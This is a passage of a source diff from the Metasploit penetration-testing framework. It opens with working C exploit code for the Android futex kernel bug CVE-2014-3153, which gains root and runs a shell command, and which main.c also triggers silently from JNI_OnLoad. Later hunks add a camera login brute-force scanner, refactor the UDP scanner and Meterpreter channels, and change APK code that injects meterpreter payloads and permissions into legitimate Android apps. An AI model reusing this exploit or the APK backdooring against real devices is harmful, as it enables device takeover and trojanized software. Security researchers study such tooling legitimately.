vcscnt2 = -1;
|
||||
}
|
||||
else {
|
||||
fread(filebuf, 1, sizeof filebuf, fp);
|
||||
pdest = strstr(filebuf, "voluntary_ctxt_switches");
|
||||
pdest += 19;
|
||||
vcscnt2 = atoi(pdest);
|
||||
fclose(fp);
|
||||
}
|
||||
|
||||
if (vcscnt2 != vcscnt + 1) {
|
||||
break;
|
||||
}
|
||||
usleep(10);
|
||||
}
|
||||
|
||||
goodval2 = 0;
|
||||
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
*((unsigned long *)(MAGIC + 0x24)) = goodval + 8;
|
||||
|
||||
wake_actionthread(12);
|
||||
goodval2 = *((unsigned long *)(MAGIC + 0x24));
|
||||
|
||||
printf("%p is also a good number.\n", (void *)goodval2);
|
||||
|
||||
for (i = 0; i < 9; i++) {
|
||||
setup_exploit(MAGIC);
|
||||
|
||||
pid = wake_actionthread(10);
|
||||
|
||||
if (*((unsigned long *)MAGIC) < goodval2) {
|
||||
HACKS_final_stack_base = (struct thread_info *)(*((unsigned long *)MAGIC) & 0xffffe000);
|
||||
|
||||
pthread_mutex_lock(&is_thread_awake_lock);
|
||||
|
||||
kill(pid, 12);
|
||||
|
||||
pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
|
||||
pthread_mutex_unlock(&is_thread_awake_lock);
|
||||
|
||||
printf("GOING\n");
|
||||
|
||||
write(HACKS_fdm, buf, sizeof buf);
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void *accept_socket(void *arg) {
|
||||
int sockfd;
|
||||
int yes;
|
||||
struct sockaddr_in addr = {0};
|
||||
int ret;
|
||||
|
||||
sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
|
||||
|
||||
yes = 1;
|
||||
setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));
|
||||
|
||||
addr.sin_family = AF_INET;
|
||||
addr.sin_port = htons(LOCAL_PORT);
|
||||
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
|
||||
bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));
|
||||
|
||||
listen(sockfd, 1);
|
||||
|
||||
while(1) {
|
||||
ret = accept(sockfd, NULL, NULL);
|
||||
if (ret < 0) {
|
||||
printf("**** SOCK_PROC failed ****\n");
|
||||
while(1) {
|
||||
sleep(10);
|
||||
}
|
||||
} else {
|
||||
printf("i have a client like hookers.\n");
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void init_exploit() {
|
||||
unsigned long addr;
|
||||
pthread_t th1, th2, th3;
|
||||
|
||||
printf("running with pid %d\n", getpid());
|
||||
|
||||
pthread_create(&th1, NULL, accept_socket, NULL);
|
||||
|
||||
addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
||||
addr += 0x800;
|
||||
MAGIC = addr;
|
||||
if ((long)addr >= 0) {
|
||||
printf("first mmap failed?\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
|
||||
addr += 0x800;
|
||||
MAGIC_ALT = addr;
|
||||
if (addr > 0x110000) {
|
||||
printf("second mmap failed?\n");
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
}
|
||||
|
||||
pthread_mutex_lock(&done_lock);
|
||||
pthread_create(&th2, NULL, search_goodnum, NULL);
|
||||
pthread_create(&th3, NULL, send_magicmsg, NULL);
|
||||
pthread_cond_wait(&done, &done_lock);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
g_argc = argc;
|
||||
|
||||
if (argc >= 2) {
|
||||
strlcat(rootcmd, "/system/bin/sh -c '", sizeof(rootcmd) - 1);
|
||||
int i;
|
||||
for (i=1;i<argc;i++) {
|
||||
strlcat(rootcmd, argv[i], sizeof(rootcmd) - 1);
|
||||
strlcat(rootcmd, " ", sizeof(rootcmd) - 1);
|
||||
}
|
||||
strlcat(rootcmd, "'", sizeof(rootcmd) - 1);
|
||||
}
|
||||
|
||||
init_exploit();
|
||||
|
||||
printf("Finished, looping.\n");
|
||||
|
||||
while (1) {
|
||||
sleep(10);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
1358
external/source/exploits/CVE-2014-3153/futex_requeue.c
vendored
Normal file
1358
external/source/exploits/CVE-2014-3153/futex_requeue.c
vendored
Normal file
File diff suppressed because it is too large
Load Diff
11
external/source/exploits/CVE-2014-3153/log.h
vendored
Normal file
11
external/source/exploits/CVE-2014-3153/log.h
vendored
Normal file
@ -0,0 +1,11 @@
|
||||
//#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
#include <android/log.h>
|
||||
#define LOGV(...) __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout)
|
||||
#define LOGD(...) __android_log_print(ANDROID_LOG_INFO, "exploit", __VA_ARGS__); printf(__VA_ARGS__); printf("\n"); fflush(stdout)
|
||||
#else
|
||||
#define LOGV(...)
|
||||
#define LOGD(...)
|
||||
#endif
|
||||
|
63
external/source/exploits/CVE-2014-3153/main.c
vendored
Normal file
63
external/source/exploits/CVE-2014-3153/main.c
vendored
Normal file
@ -0,0 +1,63 @@
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <netinet/in.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/mman.h>
|
||||
#include <fcntl.h>
|
||||
#include <jni.h>
|
||||
#include "log.h"
|
||||
|
||||
extern int waiter_exploit();
|
||||
extern int config_new_samsung;
|
||||
extern int config_iovstack;
|
||||
extern int config_offset;
|
||||
extern int config_force_remove;
|
||||
|
||||
void init_exploit() {
|
||||
|
||||
LOGV("[+] <main> parent pid = %d", getpid());
|
||||
|
||||
int retval = waiter_exploit();
|
||||
|
||||
LOGV("Exploit result %d\n", retval);
|
||||
}
|
||||
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
|
||||
if (argc > 4) {
|
||||
config_new_samsung = atoi(argv[1]);
|
||||
config_iovstack = atoi(argv[2]);
|
||||
config_offset = atoi(argv[3]);
|
||||
config_force_remove = atoi(argv[4]);
|
||||
}
|
||||
|
||||
init_exploit();
|
||||
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
JNIEXPORT jint JNICALL JNI_OnLoad( JavaVM *vm, void *pvt )
|
||||
{
|
||||
JNIEnv *env;
|
||||
LOGV("onload, uid=%d\n", getuid());
|
||||
|
||||
if((*vm)->GetEnv(vm, (void **)&env, JNI_VERSION_1_4) != JNI_OK)
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
int pid = fork();
|
||||
if (pid == 0) {
|
||||
init_exploit();
|
||||
}
|
||||
return JNI_VERSION_1_4;
|
||||
}
|
||||
|
||||
JNIEXPORT void JNICALL JNI_OnUnload( JavaVM *vm, void *pvt )
|
||||
{
|
||||
}
|
@ -46,7 +46,7 @@ Feature: Help command
|
||||
------- -----------
|
||||
advanced Displays advanced options for one or more modules
|
||||
back Move back from the current context
|
||||
edit Edit the current module with $VISUAL or $EDITOR
|
||||
edit Edit the current module with the preferred editor
|
||||
info Displays information about one or more modules
|
||||
loadpath Searches for and loads modules from a path
|
||||
options Displays global options or for one or more modules
|
||||
|
119
lib/metasploit/framework/login_scanner/bavision_cameras.rb
Normal file
119
lib/metasploit/framework/login_scanner/bavision_cameras.rb
Normal file
@ -0,0 +1,119 @@
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
require 'digest'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
class BavisionCameras < HTTP
|
||||
|
||||
DEFAULT_PORT = 80
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
|
||||
|
||||
|
||||
# Checks if the target is BAVision Camera's web server. The login module should call this.
|
||||
#
|
||||
# @return [Boolean] TrueClass if target is SWG, otherwise FalseClass
|
||||
def check_setup
|
||||
login_uri = normalize_uri("#{uri}")
|
||||
res = send_request({'uri'=> login_uri})
|
||||
|
||||
if res && res.headers['WWW-Authenticate'].match(/realm="IPCamera Login"/)
|
||||
return true
|
||||
end
|
||||
|
||||
false
|
||||
end
|
||||
|
||||
|
||||
# Auth to the server using digest auth
|
||||
def try_digest_auth(cred)
|
||||
login_uri = normalize_uri("#{uri}")
|
||||
res = send_request({
|
||||
'uri' => login_uri,
|
||||
'credential' => cred,
|
||||
'DigestAuthIIS' => false,
|
||||
'headers' => {'Accept'=> '*/*'}
|
||||
})
|
||||
|
||||
digest = digest_auth(cred.public, cred.private, res.headers)
|
||||
|
||||
res = send_request({
|
||||
'uri' => login_uri,
|
||||
'headers' => {
|
||||
'Authorization' => digest
|
||||
}})
|
||||
|
||||
if res && res.code == 200 && res.body =~ /hy\-cgi\/user\.cgi/
|
||||
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => res.body}
|
||||
end
|
||||
|
||||
{:status => LOGIN_STATUS::INCORRECT, :proof => res.body}
|
||||
end
|
||||
|
||||
# The Rex HTTP Digest auth is making the camera server to refuse to respond for some reason.
|
||||
# The API also fails to generate the CNONCE parameter (bug), which makes it unsuitable for
|
||||
# our needs, therefore we have our own implementation of digest auth.
|
||||
def digest_auth(user, password, response)
|
||||
nonce_count = 1
|
||||
cnonce = Digest::MD5.hexdigest("%x" % (Time.now.to_i + rand(65535)))
|
||||
|
||||
response['www-authenticate'] =~ /^(\w+) (.*)/
|
||||
|
||||
params = {}
|
||||
$2.gsub(/(\w+)="(.*?)"/) { params[$1] = $2 }
|
||||
|
||||
a_1 = "#{user}:#{params['realm']}:#{password}"
|
||||
a_2 = "GET:#{uri}"
|
||||
request_digest = ''
|
||||
request_digest << Digest::MD5.hexdigest(a_1)
|
||||
request_digest << ':' << params['nonce']
|
||||
request_digest << ':' << ('%08x' % nonce_count)
|
||||
request_digest << ':' << cnonce
|
||||
request_digest << ':' << params['qop']
|
||||
request_digest << ':' << Digest::MD5.hexdigest(a_2)
|
||||
|
||||
header = []
|
||||
header << "Digest username=\"#{user}\""
|
||||
header << "realm=\"#{params['realm']}\""
|
||||
header << "qop=#{params['qop']}"
|
||||
header << "uri=\"/\""
|
||||
header << "nonce=\"#{params['nonce']}\""
|
||||
header << "nc=#{'%08x' % nonce_count}"
|
||||
header << "cnonce=\"#{cnonce}\""
|
||||
header << "response=\"#{Digest::MD5.hexdigest(request_digest)}\""
|
||||
|
||||
header * ', '
|
||||
end
|
||||
|
||||
|
||||
# Attempts to login to the camera. This is called first.
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
begin
|
||||
result_opts.merge!(try_digest_auth(credential))
|
||||
rescue ::Rex::ConnectionError => e
|
||||
# Something went wrong during login. 'e' knows what's up.
|
||||
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
|
||||
end
|
||||
|
||||
Result.new(result_opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "4.13.11"
|
||||
VERSION = "4.13.14"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
@ -277,8 +277,23 @@ class Meterpreter < Rex::Post::Meterpreter::Client
|
||||
#
|
||||
# Explicitly runs a command in the meterpreter console.
|
||||
#
|
||||
def run_cmd(cmd)
|
||||
console.run_single(cmd)
|
||||
def run_cmd(cmd,output_object=nil)
|
||||
stored_output_state = nil
|
||||
# If the user supplied an Output IO object, then we tell
|
||||
# the console to use that, while saving it's previous output/
|
||||
if output_object
|
||||
stored_output_state = console.output
|
||||
console.send(:output=, output_object)
|
||||
end
|
||||
success = console.run_single(cmd)
|
||||
# If we stored the previous output object of the channel
|
||||
# we restore it here to put everything back the way we found it
|
||||
# We re-use the conditional above, because we expect in many cases for
|
||||
# the stored state to actually be nil here.
|
||||
if output_object
|
||||
console.send(:output=,stored_output_state)
|
||||
end
|
||||
success
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -43,16 +43,41 @@ module Auxiliary::UDPScanner
|
||||
datastore['BATCHSIZE'].to_i
|
||||
end
|
||||
|
||||
def udp_sock(ip, port)
|
||||
@udp_socks_mutex.synchronize do
|
||||
key = "#{ip}:#{port}"
|
||||
unless @udp_socks.key?(key)
|
||||
@udp_socks[key] =
|
||||
Rex::Socket::Udp.create({
|
||||
'LocalHost' => datastore['CHOST'] || nil,
|
||||
'LocalPort' => datastore['CPORT'] || 0,
|
||||
'PeerHost' => ip,
|
||||
'PeerPort' => port,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
})
|
||||
add_socket(@udp_socks[key])
|
||||
end
|
||||
return @udp_socks[key]
|
||||
end
|
||||
end
|
||||
|
||||
def cleanup_udp_socks
|
||||
@udp_socks_mutex.synchronize do
|
||||
@udp_socks.each do |key, sock|
|
||||
@udp_socks.delete(key)
|
||||
remove_socket(sock)
|
||||
sock.close
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Start scanning a batch of IP addresses
|
||||
def run_batch(batch)
|
||||
@udp_sock = Rex::Socket::Udp.create({
|
||||
'LocalHost' => datastore['CHOST'] || nil,
|
||||
'LocalPort' => datastore['CPORT'] || 0,
|
||||
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
|
||||
})
|
||||
add_socket(@udp_sock)
|
||||
@udp_socks = {}
|
||||
@udp_socks_mutex = Mutex.new
|
||||
|
||||
@udp_send_count = 0
|
||||
@interval_mutex = Mutex.new
|
||||
|
||||
# Provide a hook for pre-scanning setup
|
||||
scanner_prescan(batch)
|
||||
@ -95,9 +120,10 @@ module Auxiliary::UDPScanner
|
||||
def scanner_send(data, ip, port)
|
||||
|
||||
resend_count = 0
|
||||
sock = nil
|
||||
begin
|
||||
|
||||
@udp_sock.sendto(data, ip, port, 0)
|
||||
sock = udp_sock(ip, port)
|
||||
sock.send(data, 0)
|
||||
|
||||
rescue ::Errno::ENOBUFS
|
||||
resend_count += 1
|
||||
@ -112,15 +138,16 @@ module Auxiliary::UDPScanner
|
||||
|
||||
retry
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
rescue ::Rex::ConnectionError, ::Errno::ECONNREFUSED
|
||||
# This fires for host unreachable, net unreachable, and broadcast sends
|
||||
# We can safely ignore all of these for UDP sends
|
||||
end
|
||||
|
||||
@udp_send_count += 1
|
||||
|
||||
if @udp_send_count % datastore['ScannerRecvInterval'] == 0
|
||||
scanner_recv(0.1)
|
||||
@interval_mutex.synchronize do
|
||||
@udp_send_count += 1
|
||||
if @udp_send_count % datastore['ScannerRecvInterval'] == 0
|
||||
scanner_recv(0.1)
|
||||
end
|
||||
end
|
||||
|
||||
true
|
||||
@ -129,29 +156,38 @@ module Auxiliary::UDPScanner
|
||||
# Process incoming packets and dispatch to the module
|
||||
# Ensure a response flood doesn't trap us in a loop
|
||||
# Ignore packets outside of our project's scope
|
||||
def scanner_recv(timeout=0.1)
|
||||
def scanner_recv(timeout = 0.1)
|
||||
queue = []
|
||||
while (res = @udp_sock.recvfrom(65535, timeout))
|
||||
start = Time.now
|
||||
while Time.now - start < timeout do
|
||||
readable, _, _ = ::IO.select(@udp_socks.values, nil, nil, timeout)
|
||||
if readable
|
||||
for sock in readable
|
||||
res = sock.recvfrom(65535, timeout)
|
||||
|
||||
# Ignore invalid responses
|
||||
break if not res[1]
|
||||
# Ignore invalid responses
|
||||
break if not res[1]
|
||||
|
||||
# Ignore empty responses
|
||||
next if not (res[0] and res[0].length > 0)
|
||||
# Ignore empty responses
|
||||
next if not (res[0] and res[0].length > 0)
|
||||
|
||||
# Trim the IPv6-compat prefix off if needed
|
||||
shost = res[1].sub(/^::ffff:/, '')
|
||||
# Trim the IPv6-compat prefix off if needed
|
||||
shost = res[1].sub(/^::ffff:/, '')
|
||||
|
||||
# Ignore the response if we have a boundary
|
||||
next unless inside_workspace_boundary?(shost)
|
||||
# Ignore the response if we have a boundary
|
||||
next unless inside_workspace_boundary?(shost)
|
||||
|
||||
queue << [res[0], shost, res[2]]
|
||||
queue << [res[0], shost, res[2]]
|
||||
|
||||
if queue.length > datastore['ScannerRecvQueueLimit']
|
||||
break
|
||||
if queue.length > datastore['ScannerRecvQueueLimit']
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
cleanup_udp_socks
|
||||
|
||||
queue.each do |q|
|
||||
scanner_process(*q)
|
||||
end
|
||||
|
@ -55,6 +55,7 @@ module HttpClients
|
||||
SAFARI = "Safari"
|
||||
OPERA = "Opera"
|
||||
CHROME = "Chrome"
|
||||
EDGE = "Edge"
|
||||
|
||||
UNKNOWN = "Unknown"
|
||||
end
|
||||
|
@ -124,8 +124,6 @@ module Msf::DBManager::Connection
|
||||
ActiveRecord::Base.connection.active?
|
||||
}
|
||||
rescue ActiveRecord::ConnectionNotEstablished, PG::ConnectionBad => error
|
||||
elog("Connection not established: #{error.class} #{error}:\n#{error.backtrace.join("\n")}")
|
||||
|
||||
false
|
||||
end
|
||||
end
|
||||
|
@ -11,7 +11,7 @@ module Msf
|
||||
def auto_target?
|
||||
selected_target = targets[target_index]
|
||||
return false if selected_target.nil?
|
||||
if selected_target.name =~ /Automatic/ && selected_target['AutoGenerated'] == true
|
||||
if selected_target.name =~ /Automatic/ && selected_target['AutoGenerated'] == true && auto_target_host
|
||||
true
|
||||
else
|
||||
false
|
||||
@ -38,7 +38,7 @@ module Msf
|
||||
# @return [Msf::Module::Target] the Target that our automatic routine selected
|
||||
def select_target
|
||||
return nil unless auto_target?
|
||||
host_record = target_host
|
||||
host_record = auto_target_host
|
||||
return nil if host_record.nil?
|
||||
filtered_targets = filter_by_os(host_record)
|
||||
filtered_targets.first
|
||||
@ -48,7 +48,7 @@ module Msf
|
||||
#
|
||||
# @return [Mdm:Host] the Host record if one exists
|
||||
# @return [nil] if no Host record is present, or the DB is not active
|
||||
def target_host
|
||||
def auto_target_host
|
||||
return nil unless self.respond_to?(:rhost)
|
||||
return nil unless framework.db.active
|
||||
current_workspace = framework.db.find_workspace(self.workspace)
|
||||
|
@ -80,10 +80,6 @@ module Exploit::Remote::HttpClient
|
||||
)
|
||||
register_autofilter_ports([ 80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443 ])
|
||||
register_autofilter_services(%W{ http https })
|
||||
|
||||
# Used by digest auth
|
||||
@cnonce = make_cnonce
|
||||
@nonce_count = -1
|
||||
end
|
||||
|
||||
|
||||
@ -769,10 +765,6 @@ module Exploit::Remote::HttpClient
|
||||
fprint[:signature]
|
||||
end
|
||||
|
||||
def make_cnonce
|
||||
Digest::MD5.hexdigest "%x" % (Time.now.to_i + rand(65535))
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :client
|
||||
|
@ -68,7 +68,7 @@ class Msf::Payload::Apk
|
||||
}
|
||||
end
|
||||
|
||||
def fix_manifest(tempdir)
|
||||
def fix_manifest(tempdir, package)
|
||||
#Load payload's manifest
|
||||
payload_manifest = parse_manifest("#{tempdir}/payload/AndroidManifest.xml")
|
||||
payload_permissions = payload_manifest.xpath("//manifest/uses-permission")
|
||||
@ -98,8 +98,12 @@ class Msf::Payload::Apk
|
||||
end
|
||||
|
||||
application = original_manifest.at_xpath('/manifest/application')
|
||||
application << payload_manifest.at_xpath('/manifest/application/receiver').to_xml
|
||||
application << payload_manifest.at_xpath('/manifest/application/service').to_xml
|
||||
receiver = payload_manifest.at_xpath('/manifest/application/receiver')
|
||||
service = payload_manifest.at_xpath('/manifest/application/service')
|
||||
receiver.attributes["name"].value = package + receiver.attributes["name"].value
|
||||
service.attributes["name"].value = package + service.attributes["name"].value
|
||||
application << receiver.to_xml
|
||||
application << service.to_xml
|
||||
|
||||
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") { |file| file.puts original_manifest.to_xml }
|
||||
end
|
||||
@ -207,6 +211,7 @@ class Msf::Payload::Apk
|
||||
FileUtils.rm Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/R*.smali")
|
||||
|
||||
package = amanifest.xpath("//manifest").first['package']
|
||||
package = package + ".#{Rex::Text::rand_text_alpha_lower(5)}"
|
||||
package_slash = package.gsub(/\./, "/")
|
||||
print_status "Adding payload as package #{package}\n"
|
||||
payload_files = Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/*.smali")
|
||||
@ -232,7 +237,7 @@ class Msf::Payload::Apk
|
||||
injected_apk = "#{tempdir}/output.apk"
|
||||
aligned_apk = "#{tempdir}/aligned.apk"
|
||||
print_status "Poisoning the manifest with meterpreter permissions..\n"
|
||||
fix_manifest(tempdir)
|
||||
fix_manifest(tempdir, package)
|
||||
|
||||
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
|
||||
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
|
||||
|
@ -1236,7 +1236,7 @@ class Core
|
||||
session.response_timeout = response_timeout
|
||||
end
|
||||
|
||||
output = session.run_cmd cmd
|
||||
output = session.run_cmd(cmd, driver.output)
|
||||
end
|
||||
end
|
||||
when 'kill'
|
||||
|
@ -27,7 +27,7 @@ module Msf
|
||||
def commands
|
||||
{
|
||||
"back" => "Move back from the current context",
|
||||
"edit" => "Edit the current module with $VISUAL or $EDITOR",
|
||||
"edit" => "Edit the current module with the preferred editor",
|
||||
"advanced" => "Displays advanced options for one or more modules",
|
||||
"info" => "Displays information about one or more modules",
|
||||
"options" => "Displays global options or for one or more modules",
|
||||
@ -61,18 +61,17 @@ module Msf
|
||||
"Module"
|
||||
end
|
||||
|
||||
|
||||
def local_editor
|
||||
Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') || '/usr/bin/vim'
|
||||
framework.datastore['LocalEditor'] || Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR')
|
||||
end
|
||||
|
||||
def cmd_edit_help
|
||||
msg = "Edit the currently active module"
|
||||
msg = "#{msg} #{local_editor ? "with #{local_editor}" : "($VISUAL or $EDITOR must be set first)"}."
|
||||
msg = "#{msg} #{local_editor ? "with #{local_editor}" : "(LocalEditor or $VISUAL/$EDITOR should be set first)"}."
|
||||
print_line "Usage: edit"
|
||||
print_line
|
||||
print_line msg
|
||||
print_line "When done editing, you must reload the module with 'reload' or 'rexploit'."
|
||||
print_line "When done editing, you must reload the module with 'reload' or 'rerun'."
|
||||
print_line
|
||||
end
|
||||
|
||||
@ -80,20 +79,22 @@ module Msf
|
||||
# Edit the currently active module
|
||||
#
|
||||
def cmd_edit
|
||||
unless local_editor
|
||||
print_error "$VISUAL or $EDITOR must be set first. Try 'export EDITOR=/usr/bin/vim'"
|
||||
return
|
||||
end
|
||||
if active_module
|
||||
path = active_module.file_path
|
||||
print_status "Launching #{local_editor} #{path}"
|
||||
system(local_editor,path)
|
||||
editor = local_editor
|
||||
path = active_module.file_path
|
||||
|
||||
if editor.nil?
|
||||
editor = 'vim'
|
||||
print_warning("LocalEditor or $VISUAL/$EDITOR should be set. Falling back on #{editor}.")
|
||||
end
|
||||
|
||||
print_status("Launching #{editor} #{path}")
|
||||
system(editor, path)
|
||||
else
|
||||
print_error "Nothing to edit -- try using a module first."
|
||||
print_error('Nothing to edit -- try using a module first.')
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def cmd_advanced_help
|
||||
print_line 'Usage: advanced [mod1 mod2 ...]'
|
||||
print_line
|
||||
|
@ -33,12 +33,21 @@ class Datagram < Rex::Post::Meterpreter::Channel
|
||||
'udp'
|
||||
end
|
||||
|
||||
def recvfrom_nonblock(length,flags = nil)
|
||||
return [super(length, flags)[0], super(length, flags)[0]]
|
||||
def recvfrom_nonblock(length, flags = 0)
|
||||
data = super(length, flags)[0]
|
||||
sockaddr = super(length, flags)[0]
|
||||
[data, sockaddr]
|
||||
end
|
||||
|
||||
def send(buf, flags, saddr)
|
||||
channel.send(buf, flags, saddr)
|
||||
#
|
||||
# This should work just like a UDPSocket.send method
|
||||
#
|
||||
# send(mesg, flags, host, port) => numbytes_sent click to toggle source
|
||||
# send(mesg, flags, sockaddr_to) => numbytes_sent
|
||||
# send(mesg, flags) => numbytes_sent
|
||||
#
|
||||
def send(buf, flags, a = nil, b = nil)
|
||||
channel.send(buf, flags, a, b)
|
||||
end
|
||||
end
|
||||
|
||||
@ -53,17 +62,12 @@ class Datagram < Rex::Post::Meterpreter::Channel
|
||||
)
|
||||
|
||||
if peerhost && peerport
|
||||
# Maxlen here is 65507, to ensure we dont overflow, we need to write twice
|
||||
# If the other side has a full 64k, handle by splitting up the datagram and
|
||||
# writing multiple times along with the sockaddr. Consumers calling recvfrom
|
||||
# repeatedly will buffer up all the pieces.
|
||||
while data.length > 65507
|
||||
rsock.syswrite(data[0..65506])
|
||||
rsock.syswrite(Rex::Socket.to_sockaddr(peerhost,peerport))
|
||||
data = data - data[0..65506]
|
||||
end
|
||||
rsock.syswrite(data)
|
||||
rsock.syswrite(Rex::Socket.to_sockaddr(peerhost,peerport))
|
||||
# A datagram can be maximum 65507 bytes, truncate longer messages
|
||||
rsock.syswrite(data[0..65506])
|
||||
|
||||
# We write the data and sockaddr data to the local socket, the pop it
|
||||
# back in recvfrom_nonblock.
|
||||
rsock.syswrite(Rex::Socket.to_sockaddr(peerhost, peerport))
|
||||
return true
|
||||
else
|
||||
return false
|
||||
|
@ -272,7 +272,7 @@ class Android < Extension
|
||||
end
|
||||
|
||||
def send_sms(dest, body, dr)
|
||||
request = Packet.create_request('android_android_send_sms')
|
||||
request = Packet.create_request('android_send_sms')
|
||||
request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest)
|
||||
request.add_tlv(TLV_TYPE_SMS_BODY, body)
|
||||
request.add_tlv(TLV_TYPE_SMS_DR, dr)
|
||||
|
@ -77,24 +77,41 @@ class UdpChannel < Rex::Post::Meterpreter::Datagram
|
||||
end
|
||||
|
||||
#
|
||||
# This function is called by Rex::Socket::Udp.sendto and writes data to a specified
|
||||
# remote peer host/port via the remote end of the channel.
|
||||
# This function is called by Rex::Socket::Udp.sendto and writes data to a
|
||||
# specified remote peer host/port via the remote end of the channel.
|
||||
#
|
||||
def send(buf, flags, saddr)
|
||||
_af, peerhost, peerport = Rex::Socket.from_sockaddr(saddr)
|
||||
# This should work just like a UDPSocket.send method
|
||||
#
|
||||
# send(mesg, flags, host, port) => numbytes_sent click to toggle source
|
||||
# send(mesg, flags, sockaddr_to) => numbytes_sent
|
||||
# send(mesg, flags) => numbytes_sent
|
||||
#
|
||||
def send(buf, flags, a = nil, b = nil)
|
||||
host = nil
|
||||
port = nil
|
||||
|
||||
addends = [
|
||||
{
|
||||
'type' => TLV_TYPE_PEER_HOST,
|
||||
'value' => peerhost
|
||||
},
|
||||
{
|
||||
'type' => TLV_TYPE_PEER_PORT,
|
||||
'value' => peerport
|
||||
}
|
||||
]
|
||||
if a && b.nil?
|
||||
_, host, port = Rex::Socket.from_sockaddr(a)
|
||||
elsif a && b
|
||||
host = a
|
||||
port = b
|
||||
end
|
||||
|
||||
return _write(buf, buf.length, addends)
|
||||
addends = nil
|
||||
if host && port
|
||||
addends = [
|
||||
{
|
||||
'type' => TLV_TYPE_PEER_HOST,
|
||||
'value' => host
|
||||
},
|
||||
{
|
||||
'type' => TLV_TYPE_PEER_PORT,
|
||||
'value' => port
|
||||
}
|
||||
]
|
||||
end
|
||||
|
||||
_write(buf, buf.length, addends)
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -310,12 +310,18 @@ class Client
|
||||
auth_str = "Basic " + Rex::Text.encode_base64(auth_str)
|
||||
end
|
||||
|
||||
|
||||
def make_cnonce
|
||||
Digest::MD5.hexdigest "%x" % (Time.now.to_i + rand(65535))
|
||||
end
|
||||
|
||||
# Send a series of requests to complete Digest Authentication
|
||||
#
|
||||
# @param opts [Hash] the options used to build an HTTP request
|
||||
# @return [Response] the last valid HTTP response we received
|
||||
def digest_auth(opts={})
|
||||
@nonce_count = 0
|
||||
cnonce = make_cnonce
|
||||
nonce_count = 0
|
||||
|
||||
to = opts['timeout'] || 20
|
||||
|
||||
@ -330,7 +336,7 @@ class Client
|
||||
end
|
||||
|
||||
begin
|
||||
@nonce_count += 1
|
||||
nonce_count += 1
|
||||
|
||||
resp = opts['response']
|
||||
|
||||
@ -387,7 +393,7 @@ class Client
|
||||
[
|
||||
algorithm.hexdigest("#{digest_user}:#{parameters['realm']}:#{digest_password}"),
|
||||
parameters['nonce'],
|
||||
@cnonce
|
||||
cnonce
|
||||
].join ':'
|
||||
else
|
||||
"#{digest_user}:#{parameters['realm']}:#{digest_password}"
|
||||
@ -397,7 +403,7 @@ class Client
|
||||
